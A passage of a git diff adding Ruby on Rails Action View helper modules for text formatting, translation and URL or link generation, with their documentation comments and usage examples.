+ # truncate("<p>Once upon a time in a world far far away</p>")
+ # # => "&lt;p&gt;Once upon a time in a wo..."
+ #
+ # truncate("<p>Once upon a time in a world far far away</p>", escape: false)
+ # # => "<p>Once upon a time in a wo..."
+ #
+ # truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
+ # # => "Once upon a time in a wo...<a href="#">Continue</a>"
+ def truncate(text, options = {}, &block)
+ if text
+ length = options.fetch(:length, 30)
+
+ content = text.truncate(length, options)
+ content = options[:escape] == false ? content.html_safe : ERB::Util.html_escape(content)
+ content << capture(&block) if block_given? && text.length > length
+ content
+ end
+ end
+
+ # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
+ # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
+ # as a single-quoted string with <tt>\1</tt> where the phrase is to be inserted (defaults to
+ # '<mark>\1</mark>') or passing a block that receives each matched term.
+ #
+ # highlight('You searched for: rails', 'rails')
+ # # => You searched for: <mark>rails</mark>
+ #
+ # highlight('You searched for: rails', /for|rails/)
+ # # => You searched <mark>for</mark>: <mark>rails</mark>
+ #
+ # highlight('You searched for: ruby, rails, dhh', 'actionpack')
+ # # => You searched for: ruby, rails, dhh
+ #
+ # highlight('You searched for: rails', ['for', 'rails'], highlighter: '<em>\1</em>')
+ # # => You searched <em>for</em>: <em>rails</em>
+ #
+ # highlight('You searched for: rails', 'rails', highlighter: '<a href="search?q=\1">\1</a>')
+ # # => You searched for: <a href="search?q=rails">rails</a>
+ #
+ # highlight('You searched for: rails', 'rails') { |match| link_to(search_path(q: match, match)) }
+ # # => You searched for: <a href="search?q=rails">rails</a>
+ def highlight(text, phrases, options = {})
+ text = sanitize(text) if options.fetch(:sanitize, true)
+
+ if text.blank? || phrases.blank?
+ text || ""
+ else
+ match = Array(phrases).map do |p|
+ Regexp === p ? p.to_s : Regexp.escape(p)
+ end.join('|')
+
+ if block_given?
+ text.gsub(/(#{match})(?![^<]*?>)/i) { |found| yield found }
+ else
+ highlighter = options.fetch(:highlighter, '<mark>\1</mark>')
+ text.gsub(/(#{match})(?![^<]*?>)/i, highlighter)
+ end
+ end.html_safe
+ end
+
+ # Extracts an excerpt from +text+ that matches the first instance of +phrase+.
+ # The <tt>:radius</tt> option expands the excerpt on each side of the first occurrence of +phrase+ by the number of characters
+ # defined in <tt>:radius</tt> (which defaults to 100). If the excerpt radius overflows the beginning or end of the +text+,
+ # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. Use the
+ # <tt>:separator</tt> option to choose the delimitation. The resulting string will be stripped in any case. If the +phrase+
+ # isn't found, nil is returned.
+ #
+ # excerpt('This is an example', 'an', radius: 5)
+ # # => ...s is an exam...
+ #
+ # excerpt('This is an example', 'is', radius: 5)
+ # # => This is a...
+ #
+ # excerpt('This is an example', 'is')
+ # # => This is an example
+ #
+ # excerpt('This next thing is an example', 'ex', radius: 2)
+ # # => ...next...
+ #
+ # excerpt('This is also an example', 'an', radius: 8, omission: '<chop> ')
+ # # => <chop> is also an example
+ #
+ # excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
+ # # => ...a very beautiful...
+ def excerpt(text, phrase, options = {})
+ return unless text && phrase
+
+ separator = options.fetch(:separator, nil) || ""
+ case phrase
+ when Regexp
+ regex = phrase
+ else
+ regex = /#{Regexp.escape(phrase)}/i
+ end
+
+ return unless matches = text.match(regex)
+ phrase = matches[0]
+
+ unless separator.empty?
+ text.split(separator).each do |value|
+ if value.match(regex)
+ regex = phrase = value
+ break
+ end
+ end
+ end
+
+ first_part, second_part = text.split(phrase, 2)
+
+ prefix, first_part = cut_excerpt_part(:first, first_part, separator, options)
+ postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
+
+ affix = [first_part, separator, phrase, separator, second_part].join.strip
+ [prefix, affix, postfix].join
+ end
+
+ # Attempts to pluralize the +singular+ word unless +count+ is 1. If
+ # +plural+ is supplied, it will use that when count is > 1, otherwise
+ # it will use the Inflector to determine the plural form.
+ #
+ # pluralize(1, 'person')
+ # # => 1 person
+ #
+ # pluralize(2, 'person')
+ # # => 2 people
+ #
+ # pluralize(3, 'person', 'users')
+ # # => 3 users
+ #
+ # pluralize(0, 'person')
+ # # => 0 people
+ def pluralize(count, singular, plural = nil)
+ word = if (count == 1 || count =~ /^1(\.0+)?$/)
+ singular
+ else
+ plural || singular.pluralize
+ end
+
+ "#{count || 0} #{word}"
+ end
+
+ # Wraps the +text+ into lines no longer than +line_width+ width. This method
+ # breaks on the first whitespace character that does not exceed +line_width+
+ # (which is 80 by default).
+ #
+ # word_wrap('Once upon a time')
+ # # => Once upon a time
+ #
+ # word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
+ # # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\na successor to the throne turned out to be more trouble than anyone could have\nimagined...
+ #
+ # word_wrap('Once upon a time', line_width: 8)
+ # # => Once\nupon a\ntime
+ #
+ # word_wrap('Once upon a time', line_width: 1)
+ # # => Once\nupon\na\ntime
+ def word_wrap(text, options = {})
+ line_width = options.fetch(:line_width, 80)
+
+ text.split("\n").collect! do |line|
+ line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1\n").strip : line
+ end * "\n"
+ end
+
+ # Returns +text+ transformed into HTML using simple formatting rules.
+ # Two or more consecutive newlines(<tt>\n\n</tt>) are considered as a
+ # paragraph and wrapped in <tt><p></tt> tags. One newline (<tt>\n</tt>) is
+ # considered as a linebreak and a <tt><br /></tt> tag is appended. This
+ # method does not remove the newlines from the +text+.
+ #
+ # You can pass any HTML attributes into <tt>html_options</tt>. These
+ # will be added to all created paragraphs.
+ #
+ # ==== Options
+ # * <tt>:sanitize</tt> - If +false+, does not sanitize +text+.
+ # * <tt>:wrapper_tag</tt> - String representing the wrapper tag, defaults to <tt>"p"</tt>
+ #
+ # ==== Examples
+ # my_text = "Here is some basic text...\n...with a line break."
+ #
+ # simple_format(my_text)
+ # # => "<p>Here is some basic text...\n<br />...with a line break.</p>"
+ #
+ # simple_format(my_text, {}, wrapper_tag: "div")
+ # # => "<div>Here is some basic text...\n<br />...with a line break.</div>"
+ #
+ # more_text = "We want to put a paragraph...\n\n...right there."
+ #
+ # simple_format(more_text)
+ # # => "<p>We want to put a paragraph...</p>\n\n<p>...right there.</p>"
+ #
+ # simple_format("Look ma! A class!", class: 'description')
+ # # => "<p class='description'>Look ma! A class!</p>"
+ #
+ # simple_format("<blink>Unblinkable.</blink>")
+ # # => "<p>Unblinkable.</p>"
+ #
+ # simple_format("<blink>Blinkable!</blink> It's true.", {}, sanitize: false)
+ # # => "<p><blink>Blinkable!</blink> It's true.</p>"
+ def simple_format(text, html_options = {}, options = {})
+ wrapper_tag = options.fetch(:wrapper_tag, :p)
+
+ text = sanitize(text) if options.fetch(:sanitize, true)
+ paragraphs = split_paragraphs(text)
+
+ if paragraphs.empty?
+ content_tag(wrapper_tag, nil, html_options)
+ else
+ paragraphs.map! { |paragraph|
+ content_tag(wrapper_tag, raw(paragraph), html_options)
+ }.join("\n\n").html_safe
+ end
+ end
+
+ # Creates a Cycle object whose _to_s_ method cycles through elements of an
+ # array every time it is called. This can be used for example, to alternate
+ # classes for table rows. You can use named cycles to allow nesting in loops.
+ # Passing a Hash as the last parameter with a <tt>:name</tt> key will create a
+ # named cycle. The default name for a cycle without a +:name+ key is
+ # <tt>"default"</tt>. You can manually reset a cycle by calling reset_cycle
+ # and passing the name of the cycle. The current cycle string can be obtained
+ # anytime using the current_cycle method.
+ #
+ # # Alternate CSS classes for even and odd numbers...
+ # @items = [1,2,3,4]
+ # <table>
+ # <% @items.each do |item| %>
+ # <tr class="<%= cycle("odd", "even") -%>">
+ # <td>item</td>
+ # </tr>
+ # <% end %>
+ # </table>
+ #
+ #
+ # # Cycle CSS classes for rows, and text colors for values within each row
+ # @items = x = [{first: 'Robert', middle: 'Daniel', last: 'James'},
+ # {first: 'Emily', middle: 'Shannon', maiden: 'Pike', last: 'Hicks'},
+ # {first: 'June', middle: 'Dae', last: 'Jones'}]
+ # <% @items.each do |item| %>
+ # <tr class="<%= cycle("odd", "even", name: "row_class") -%>">
+ # <td>
+ # <% item.values.each do |value| %>
+ # <%# Create a named cycle "colors" %>
+ # <span style="color:<%= cycle("red", "green", "blue", name: "colors") -%>">
+ # <%= value %>
+ # </span>
+ # <% end %>
+ # <% reset_cycle("colors") %>
+ # </td>
+ # </tr>
+ # <% end %>
+ def cycle(first_value, *values)
+ options = values.extract_options!
+ name = options.fetch(:name, 'default')
+
+ values.unshift(*first_value)
+
+ cycle = get_cycle(name)
+ unless cycle && cycle.values == values
+ cycle = set_cycle(name, Cycle.new(*values))
+ end
+ cycle.to_s
+ end
+
+ # Returns the current cycle string after a cycle has been started. Useful
+ # for complex table highlighting or any other design need which requires
+ # the current cycle string in more than one place.
+ #
+ # # Alternate background colors
+ # @items = [1,2,3,4]
+ # <% @items.each do |item| %>
+ # <div style="background-color:<%= cycle("red","white","blue") %>">
+ # <span style="background-color:<%= current_cycle %>"><%= item %></span>
+ # </div>
+ # <% end %>
+ def current_cycle(name = "default")
+ cycle = get_cycle(name)
+ cycle.current_value if cycle
+ end
+
+ # Resets a cycle so that it starts from the first element the next time
+ # it is called. Pass in +name+ to reset a named cycle.
+ #
+ # # Alternate CSS classes for even and odd numbers...
+ # @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]]
+ # <table>
+ # <% @items.each do |item| %>
+ # <tr class="<%= cycle("even", "odd") -%>">
+ # <% item.each do |value| %>
+ # <span style="color:<%= cycle("#333", "#666", "#999", name: "colors") -%>">
+ # <%= value %>
+ # </span>
+ # <% end %>
+ #
+ # <% reset_cycle("colors") %>
+ # </tr>
+ # <% end %>
+ # </table>
+ def reset_cycle(name = "default")
+ cycle = get_cycle(name)
+ cycle.reset if cycle
+ end
+
+ class Cycle #:nodoc:
+ attr_reader :values
+
+ def initialize(first_value, *values)
+ @values = values.unshift(first_value)
+ reset
+ end
+
+ def reset
+ @index = 0
+ end
+
+ def current_value
+ @values[previous_index].to_s
+ end
+
+ def to_s
+ value = @values[@index].to_s
+ @index = next_index
+ return value
+ end
+
+ private
+
+ def next_index
+ step_index(1)
+ end
+
+ def previous_index
+ step_index(-1)
+ end
+
+ def step_index(n)
+ (@index + n) % @values.size
+ end
+ end
+
+ private
+ # The cycle helpers need to store the cycles in a place that is
+ # guaranteed to be reset every time a page is rendered, so it
+ # uses an instance variable of ActionView::Base.
+ def get_cycle(name)
+ @_cycles = Hash.new unless defined?(@_cycles)
+ return @_cycles[name]
+ end
+
+ def set_cycle(name, cycle_object)
+ @_cycles = Hash.new unless defined?(@_cycles)
+ @_cycles[name] = cycle_object
+ end
+
+ def split_paragraphs(text)
+ return [] if text.blank?
+
+ text.to_str.gsub(/\r\n?/, "\n").split(/\n\n+/).map! do |t|
+ t.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') || t
+ end
+ end
+
+ def cut_excerpt_part(part_position, part, separator, options)
+ return "", "" unless part
+
+ radius = options.fetch(:radius, 100)
+ omission = options.fetch(:omission, "...")
+
+ part = part.split(separator)
+ part.delete("")
+ affix = part.size > radius ? omission : ""
+
+ part = if part_position == :first
+ drop_index = [part.length - radius, 0].max
+ part.drop(drop_index)
+ else
+ part.first(radius)
+ end
+
+ return affix, part.join(separator)
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/translation_helper.rb b/actionview/lib/action_view/helpers/translation_helper.rb
new file mode 100644
index 0000000000..c2fda42396
--- /dev/null
+++ b/actionview/lib/action_view/helpers/translation_helper.rb
@@ -0,0 +1,114 @@
+require 'action_view/helpers/tag_helper'
+require 'active_support/core_ext/string/access'
+require 'i18n/exceptions'
+
+module ActionView
+ # = Action View Translation Helpers
+ module Helpers
+ module TranslationHelper
+ include TagHelper
+ # Delegates to <tt>I18n#translate</tt> but also performs three additional functions.
+ #
+ # First, it will ensure that any thrown +MissingTranslation+ messages will be turned
+ # into inline spans that:
+ #
+ # * have a "translation-missing" class set,
+ # * contain the missing key as a title attribute and
+ # * a titleized version of the last key segment as a text.
+ #
+ # E.g. the value returned for a missing translation key :"blog.post.title" will be
+ # <span class="translation_missing" title="translation missing: en.blog.post.title">Title</span>.
+ # This way your views will display rather reasonable strings but it will still
+ # be easy to spot missing translations.
+ #
+ # Second, it'll scope the key by the current partial if the key starts
+ # with a period. So if you call <tt>translate(".foo")</tt> from the
+ # <tt>people/index.html.erb</tt> template, you'll actually be calling
+ # <tt>I18n.translate("people.index.foo")</tt>. This makes it less repetitive
+ # to translate many keys within the same partials and gives you a simple framework
+ # for scoping them consistently. If you don't prepend the key with a period,
+ # nothing is converted.
+ #
+ # Third, it'll mark the translation as safe HTML if the key has the suffix
+ # "_html" or the last element of the key is the word "html". For example,
+ # calling translate("footer_html") or translate("footer.html") will return
+ # a safe HTML string that won't be escaped by other HTML helper methods. This
+ # naming convention helps to identify translations that include HTML tags so that
+ # you know what kind of output to expect when you call translate in a template.
+ def translate(key, options = {})
+ options = options.dup
+ options[:default] = wrap_translate_defaults(options[:default]) if options[:default]
+
+ # If the user has specified rescue_format then pass it all through, otherwise use
+ # raise and do the work ourselves
+ options[:raise] ||= ActionView::Base.raise_on_missing_translations
+
+ raise_error = options[:raise] || options.key?(:rescue_format)
+ unless raise_error
+ options[:raise] = true
+ end
+
+ if html_safe_translation_key?(key)
+ html_safe_options = options.dup
+ options.except(*I18n::RESERVED_KEYS).each do |name, value|
+ unless name == :count && value.is_a?(Numeric)
+ html_safe_options[name] = ERB::Util.html_escape(value.to_s)
+ end
+ end
+ translation = I18n.translate(scope_key_by_partial(key), html_safe_options)
+
+ translation.respond_to?(:html_safe) ? translation.html_safe : translation
+ else
+ I18n.translate(scope_key_by_partial(key), options)
+ end
+ rescue I18n::MissingTranslationData => e
+ raise e if raise_error
+
+ keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope])
+ content_tag('span', keys.last.to_s.titleize, :class => 'translation_missing', :title => "translation missing: #{keys.join('.')}")
+ end
+ alias :t :translate
+
+ # Delegates to <tt>I18n.localize</tt> with no additional functionality.
+ #
+ # See http://rubydoc.info/github/svenfuchs/i18n/master/I18n/Backend/Base:localize
+ # for more information.
+ def localize(*args)
+ I18n.localize(*args)
+ end
+ alias :l :localize
+
+ private
+ def scope_key_by_partial(key)
+ if key.to_s.first == "."
+ if @virtual_path
+ @virtual_path.gsub(%r{/_?}, ".") + key.to_s
+ else
+ raise "Cannot use t(#{key.inspect}) shortcut because path is not available"
+ end
+ else
+ key
+ end
+ end
+
+ def html_safe_translation_key?(key)
+ key.to_s =~ /(\b|_|\.)html$/
+ end
+
+ def wrap_translate_defaults(defaults)
+ new_defaults = []
+ defaults = Array(defaults)
+ while key = defaults.shift
+ if key.is_a?(Symbol)
+ new_defaults << lambda { |_, options| translate key, options.merge(:default => defaults) }
+ break
+ else
+ new_defaults << key
+ end
+ end
+
+ new_defaults
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/url_helper.rb b/actionview/lib/action_view/helpers/url_helper.rb
new file mode 100644
index 0000000000..364414da05
--- /dev/null
+++ b/actionview/lib/action_view/helpers/url_helper.rb
@@ -0,0 +1,620 @@
+require 'action_view/helpers/javascript_helper'
+require 'active_support/core_ext/array/access'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView
+ # = Action View URL Helpers
+ module Helpers #:nodoc:
+ # Provides a set of methods for making links and getting URLs that
+ # depend on the routing subsystem (see ActionDispatch::Routing).
+ # This allows you to use the same format for links in views
+ # and controllers.
+ module UrlHelper
+ # This helper may be included in any class that includes the
+ # URL helpers of a routes (routes.url_helpers). Some methods
+ # provided here will only work in the context of a request
+ # (link_to_unless_current, for instance), which must be provided
+ # as a method called #request on the context.
+ BUTTON_TAG_METHOD_VERBS = %w{patch put delete}
+ extend ActiveSupport::Concern
+
+ include TagHelper
+
+ module ClassMethods
+ def _url_for_modules
+ ActionView::RoutingUrlFor
+ end
+ end
+
+ # Basic implementation of url_for to allow use helpers without routes existence
+ def url_for(options = nil) # :nodoc:
+ case options
+ when String
+ options
+ when :back
+ _back_url
+ else
+ raise ArgumentError, "arguments passed to url_for can't be handled. Please require " +
+ "routes or provide your own implementation"
+ end
+ end
+
+ def _back_url # :nodoc:
+ referrer = controller.respond_to?(:request) && controller.request.env["HTTP_REFERER"]
+ referrer || 'javascript:history.back()'
+ end
+ protected :_back_url
+
+ # Creates a link tag of the given +name+ using a URL created by the set of +options+.
+ # See the valid options in the documentation for +url_for+. It's also possible to
+ # pass a String instead of an options hash, which generates a link tag that uses the
+ # value of the String as the href for the link. Using a <tt>:back</tt> Symbol instead
+ # of an options hash will generate a link to the referrer (a JavaScript back link
+ # will be used in place of a referrer if none exists). If +nil+ is passed as the name
+ # the value of the link itself will become the name.
+ #
+ # ==== Signatures
+ #
+ # link_to(body, url, html_options = {})
+ # # url is a String; you can use URL helpers like
+ # # posts_path
+ #
+ # link_to(body, url_options = {}, html_options = {})
+ # # url_options, except :method, is passed to url_for
+ #
+ # link_to(options = {}, html_options = {}) do
+ # # name
+ # end
+ #
+ # link_to(url, html_options = {}) do
+ # # name
+ # end
+ #
+ # ==== Options
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>method: symbol of HTTP verb</tt> - This modifier will dynamically
+ # create an HTML form and immediately submit the form for processing using
+ # the HTTP verb specified. Useful for having links perform a POST operation
+ # in dangerous actions like deleting a record (which search bots can follow
+ # while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>.
+ # Note that if the user has JavaScript disabled, the request will fall back
+ # to using GET. If <tt>href: '#'</tt> is used and the user has JavaScript
+ # disabled clicking the link will have no effect. If you are relying on the
+ # POST behavior, you should check for it in your controller's action by using
+ # the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>patch?</tt>, or <tt>put?</tt>.
+ # * <tt>remote: true</tt> - This will allow the unobtrusive JavaScript
+ # driver to make an Ajax request to the URL in question instead of following
+ # the link. The drivers each provide mechanisms for listening for the
+ # completion of the Ajax request and performing JavaScript operations once
+ # they're complete
+ #
+ # ==== Data attributes
+ #
+ # * <tt>confirm: 'question?'</tt> - This will allow the unobtrusive JavaScript
+ # driver to prompt with the question specified (in this case, the
+ # resulting text would be <tt>question?</tt>. If the user accepts, the
+ # link is processed normally, otherwise no action is taken.
+ # * <tt>:disable_with</tt> - Value of this parameter will be
+ # used as the value for a disabled version of the submit
+ # button when the form is submitted. This feature is provided
+ # by the unobtrusive JavaScript driver.
+ #
+ # ==== Examples
+ # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
+ # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base
+ # your application on resources and use
+ #
+ # link_to "Profile", profile_path(@profile)
+ # # => <a href="/profiles/1">Profile</a>
+ #
+ # or the even pithier
+ #
+ # link_to "Profile", @profile
+ # # => <a href="/profiles/1">Profile</a>
+ #
+ # in place of the older more verbose, non-resource-oriented
+ #
+ # link_to "Profile", controller: "profiles", action: "show", id: @profile
+ # # => <a href="/profiles/show/1">Profile</a>
+ #
+ # Similarly,
+ #
+ # link_to "Profiles", profiles_path
+ # # => <a href="/profiles">Profiles</a>
+ #
+ # is better than
+ #
+ # link_to "Profiles", controller: "profiles"
+ # # => <a href="/profiles">Profiles</a>
+ #
+ # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
+ #
+ # <%= link_to(@profile) do %>
+ # <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
+ # <% end %>
+ # # => <a href="/profiles/1">
+ # <strong>David</strong> -- <span>Check it out!</span>
+ # </a>
+ #
+ # Classes and ids for CSS are easy to produce:
+ #
+ # link_to "Articles", articles_path, id: "news", class: "article"
+ # # => <a href="/articles" class="article" id="news">Articles</a>
+ #
+ # Be careful when using the older argument style, as an extra literal hash is needed:
+ #
+ # link_to "Articles", { controller: "articles" }, id: "news", class: "article"
+ # # => <a href="/articles" class="article" id="news">Articles</a>
+ #
+ # Leaving the hash off gives the wrong link:
+ #
+ # link_to "WRONG!", controller: "articles", id: "news", class: "article"
+ # # => <a href="/articles/index/news?class=article">WRONG!</a>
+ #
+ # +link_to+ can also produce links with anchors or query strings:
+ #
+ # link_to "Comment wall", profile_path(@profile, anchor: "wall")
+ # # => <a href="/profiles/1#wall">Comment wall</a>
+ #
+ # link_to "Ruby on Rails search", controller: "searches", query: "ruby on rails"
+ # # => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
+ #
+ # link_to "Nonsense search", searches_path(foo: "bar", baz: "quux")
+ # # => <a href="/searches?foo=bar&amp;baz=quux">Nonsense search</a>
+ #
+ # The only option specific to +link_to+ (<tt>:method</tt>) is used as follows:
+ #
+ # link_to("Destroy", "http://www.example.com", method: :delete)
+ # # => <a href='http://www.example.com' rel="nofollow" data-method="delete">Destroy</a>
+ #
+ # You can also use custom data attributes using the <tt>:data</tt> option:
+ #
+ # link_to "Visit Other Site", "http://www.rubyonrails.org/", data: { confirm: "Are you sure?" }
+ # # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?">Visit Other Site</a>
+ def link_to(name = nil, options = nil, html_options = nil, &block)
+ html_options, options, name = options, name, block if block_given?
+ options ||= {}
+
+ html_options = convert_options_to_data_attributes(options, html_options)
+
+ url = url_for(options)
+ html_options['href'] ||= url
+
+ content_tag(:a, name || url, html_options, &block)
+ end
+
+ # Generates a form containing a single button that submits to the URL created
+ # by the set of +options+. This is the safest method to ensure links that
+ # cause changes to your data are not triggered by search bots or accelerators.
+ # If the HTML button does not work with your layout, you can also consider
+ # using the +link_to+ method with the <tt>:method</tt> modifier as described in
+ # the +link_to+ documentation.
+ #
+ # By default, the generated form element has a class name of <tt>button_to</tt>
+ # to allow styling of the form itself and its children. This can be changed
+ # using the <tt>:form_class</tt> modifier within +html_options+. You can control
+ # the form submission and input element behavior using +html_options+.
+ # This method accepts the <tt>:method</tt> modifier described in the +link_to+ documentation.
+ # If no <tt>:method</tt> modifier is given, it will default to performing a POST operation.
+ # You can also disable the button by passing <tt>disabled: true</tt> in +html_options+.
+ # If you are using RESTful routes, you can pass the <tt>:method</tt>
+ # to change the HTTP verb used to submit the form.
+ #
+ # ==== Options
+ # The +options+ hash accepts the same options as +url_for+.
+ #
+ # There are a few special +html_options+:
+ # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
+ # <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>. By default it will be <tt>:post</tt>.
+ # * <tt>:disabled</tt> - If set to true, it will generate a disabled button.
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
+ # submit behavior. By default this behavior is an ajax submit.
+ # * <tt>:form</tt> - This hash will be form attributes
+ # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
+ # be placed
+ # * <tt>:params</tt> - Hash of parameters to be rendered as hidden fields within the form.
+ #
+ # ==== Data attributes
+ #
+ # * <tt>:confirm</tt> - This will use the unobtrusive JavaScript driver to
+ # prompt with the question specified. If the user accepts, the link is
+ # processed normally, otherwise no action is taken.
+ # * <tt>:disable_with</tt> - Value of this parameter will be
+ # used as the value for a disabled version of the submit
+ # button when the form is submitted. This feature is provided
+ # by the unobtrusive JavaScript driver.
+ #
+ # ==== Examples
+ # <%= button_to "New", action: "new" %>
+ # # => "<form method="post" action="/controller/new" class="button_to">
+ # # <input value="New" type="submit" />
+ # # </form>"
+ #
+ # <%= button_to "New", new_articles_path %>
+ # # => "<form method="post" action="/articles/new" class="button_to">
+ # # <input value="New" type="submit" />
+ # # </form>"
+ #
+ # <%= button_to [:make_happy, @user] do %>
+ # Make happy <strong><%= @user.name %></strong>
+ # <% end %>
+ # # => "<form method="post" action="/users/1/make_happy" class="button_to">
+ # # <button type="submit">
+ # # Make happy <strong><%= @user.name %></strong>
+ # # </button>
+ # # </form>"
+ #
+ # <%= button_to "New", { action: "new" }, form_class: "new-thing" %>
+ # # => "<form method="post" action="/controller/new" class="new-thing">
+ # # <input value="New" type="submit" />
+ # # </form>"
+ #
+ #
+ # <%= button_to "Create", { action: "create" }, remote: true, form: { "data-type" => "json" } %>
+ # # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
+ # # <input value="Create" type="submit" />
+ # # <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+ # # </form>"
+ #
+ #
+ # <%= button_to "Delete Image", { action: "delete", id: @image.id },
+ # method: :delete, data: { confirm: "Are you sure?" } %>
+ # # => "<form method="post" action="/images/delete/1" class="button_to">
+ # # <input type="hidden" name="_method" value="delete" />
+ # # <input data-confirm='Are you sure?' value="Delete Image" type="submit" />
+ # # <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+ # # </form>"
+ #
+ #
+ # <%= button_to('Destroy', 'http://www.example.com',
+ # method: "delete", remote: true, data: { confirm: 'Are you sure?', disable_with: 'loading...' }) %>
+ # # => "<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
+ # # <input name='_method' value='delete' type='hidden' />
+ # # <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
+ # # <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+ # # </form>"
+ # #
+ def button_to(name = nil, options = nil, html_options = nil, &block)
+ html_options, options = options, name if block_given?
+ options ||= {}
+ html_options ||= {}
+
+ html_options = html_options.stringify_keys
+ convert_boolean_attributes!(html_options, %w(disabled))
+
+ url = options.is_a?(String) ? options : url_for(options)
+ remote = html_options.delete('remote')
+ params = html_options.delete('params')
+
+ method = html_options.delete('method').to_s
+ method_tag = BUTTON_TAG_METHOD_VERBS.include?(method) ? method_tag(method) : ''.html_safe
+
+ form_method = method == 'get' ? 'get' : 'post'
+ form_options = html_options.delete('form') || {}
+ form_options[:class] ||= html_options.delete('form_class') || 'button_to'
+ form_options.merge!(method: form_method, action: url)
+ form_options.merge!("data-remote" => "true") if remote
+
+ request_token_tag = form_method == 'post' ? token_tag : ''
+
+ html_options = convert_options_to_data_attributes(options, html_options)
+ html_options['type'] = 'submit'
+
+ button = if block_given?
+ content_tag('button', html_options, &block)
+ else
+ html_options['value'] = name || url
+ tag('input', html_options)
+ end
+
+ inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
+ if params
+ params.each do |param_name, value|
+ inner_tags.safe_concat tag(:input, type: "hidden", name: param_name, value: value.to_param)
+ end
+ end
+ content_tag('form', inner_tags, form_options)
+ end
+
+ # Creates a link tag of the given +name+ using a URL created by the set of
+ # +options+ unless the current request URI is the same as the links, in
+ # which case only the name is returned (or the given block is yielded, if
+ # one exists). You can give +link_to_unless_current+ a block which will
+ # specialize the default behavior (e.g., show a "Start Here" link rather
+ # than the link's text).
+ #
+ # ==== Examples
+ # Let's say you have a navigation menu...
+ #
+ # <ul id="navbar">
+ # <li><%= link_to_unless_current("Home", { action: "index" }) %></li>
+ # <li><%= link_to_unless_current("About Us", { action: "about" }) %></li>
+ # </ul>
+ #
+ # If in the "about" action, it will render...
+ #
+ # <ul id="navbar">
+ # <li><a href="/controller/index">Home</a></li>
+ # <li>About Us</li>
+ # </ul>
+ #
+ # ...but if in the "index" action, it will render:
+ #
+ # <ul id="navbar">
+ # <li>Home</li>
+ # <li><a href="/controller/about">About Us</a></li>
+ # </ul>
+ #
+ # The implicit block given to +link_to_unless_current+ is evaluated if the current
+ # action is the action given. So, if we had a comments page and wanted to render a
+ # "Go Back" link instead of a link to the comments page, we could do something like this...
+ #
+ # <%=
+ # link_to_unless_current("Comment", { controller: "comments", action: "new" }) do
+ # link_to("Go back", { controller: "posts", action: "index" })
+ # end
+ # %>
+ def link_to_unless_current(name, options = {}, html_options = {}, &block)
+ link_to_unless current_page?(options), name, options, html_options, &block
+ end
+
+ # Creates a link tag of the given +name+ using a URL created by the set of
+ # +options+ unless +condition+ is true, in which case only the name is
+ # returned. To specialize the default behavior (i.e., show a login link rather
+ # than just the plaintext link text), you can pass a block that
+ # accepts the name or the full argument list for +link_to_unless+.
+ #
+ # ==== Examples
+ # <%= link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) %>
+ # # If the user is logged in...
+ # # => <a href="/controller/reply/">Reply</a>
+ #
+ # <%=
+ # link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) do |name|
+ # link_to(name, { controller: "accounts", action: "signup" })
+ # end
+ # %>
+ # # If the user is logged in...
+ # # => <a href="/controller/reply/">Reply</a>
+ # # If not...
+ # # => <a href="/accounts/signup">Reply</a>
+ def link_to_unless(condition, name, options = {}, html_options = {}, &block)
+ link_to_if !condition, name, options, html_options, &block
+ end
+
+ # Creates a link tag of the given +name+ using a URL created by the set of
+ # +options+ if +condition+ is true, otherwise only the name is
+ # returned. To specialize the default behavior, you can pass a block that
+ # accepts the name or the full argument list for +link_to_unless+ (see the examples
+ # in +link_to_unless+).
+ #
+ # ==== Examples
+ # <%= link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) %>
+ # # If the user isn't logged in...
+ # # => <a href="/sessions/new/">Login</a>
+ #
+ # <%=
+ # link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) do
+ # link_to(@current_user.login, { controller: "accounts", action: "show", id: @current_user })
+ # end
+ # %>
+ # # If the user isn't logged in...
